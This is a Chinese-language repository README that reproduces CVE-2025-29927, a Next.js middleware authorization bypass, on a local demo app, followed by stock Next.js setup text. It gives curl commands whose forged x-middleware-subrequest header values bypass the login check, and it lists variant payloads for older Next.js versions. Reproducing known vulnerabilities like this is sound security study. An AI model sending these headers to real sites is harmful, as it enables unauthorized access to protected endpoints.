CVE-2025-29927 授权绕过复现

本仓库是对 next 包中 CVE-2025-29927 漏洞的复现

如何复现

1. 按照以下步骤克隆并运行 Next.js 应用程序
2. 测试授权会拒绝访问 /api/hello 端点

$ curl http://localhost:3000/api/hello

{"error":"Unauthorized"}%

3. 测试在提供 token 时授权正常工作

$ curl -H "Authorization: my-jwt-token-here" http://localhost:3000/api/hello

{"message":"Hello World"}%

4. 现在，如果我们将 middleware 嵌套 5 次放入特殊的 x-middleware-subrequest 请求头中，同样可以绕过授权：

curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000/api/hello

{"message":"Hello, World"}

针对旧版 Next.js 的 CVE-2025-29927 利用

Next.js 12 和 13 版本曾对中间件文件采用不同的命名约定（_middleware.js），该约定在 Next.js 14 中变更为 middleware.js。在旧版本中，可以通过使用 _middleware.js 文件来利用此漏洞。

例如，根据 Next.js 版本和您的路由约定，以下 payload 均适用：

• curl -H "x-middleware-subrequest: middleware" http://localhost:3000/api/hello （适用于 Next.js 12.2 版本，且 middleware.js 文件位于应用根目录而非 pages 目录内）
• • curl -H "x-middleware-subrequest: src/middleware" http://localhost:3000/api/hello
• curl -H "x-middleware-subrequest: _middleware" http://localhost:3000/api/hello （适用于 Next.js 11 至 12.2 版本）
• curl -H "x-middleware-subrequest: pages/_middleware" http://localhost:3000/api/hello
• curl -H "x-middleware-subrequest: pages/admin/_middleware" http://localhost:3000/api/hello

开始使用

首先，运行开发服务器：

npm run dev
# or
yarn dev
# or
pnpm dev
# or
bun dev

在浏览器中打开 http://localhost:3000 查看结果。

您可以通过修改 app/page.js 来开始编辑页面。当您编辑该文件时，页面会自动更新。

此项目使用 next/font 自动优化并加载 Geist，这是 Vercel 推出的全新字体家族。

了解更多

要深入了解 Next.js，请查看以下资源：

• Next.js 文档 - 了解 Next.js 的功能和 API。
• 学习 Next.js - 交互式 Next.js 教程。

您可以查看 Next.js GitHub 仓库 - 欢迎您的反馈和贡献！

部署到 Vercel

部署 Next.js 应用最简单的方法是使用由 Next.js 创建者提供的 Vercel 平台。

查看我们的 Next.js 部署文档 了解更多详情。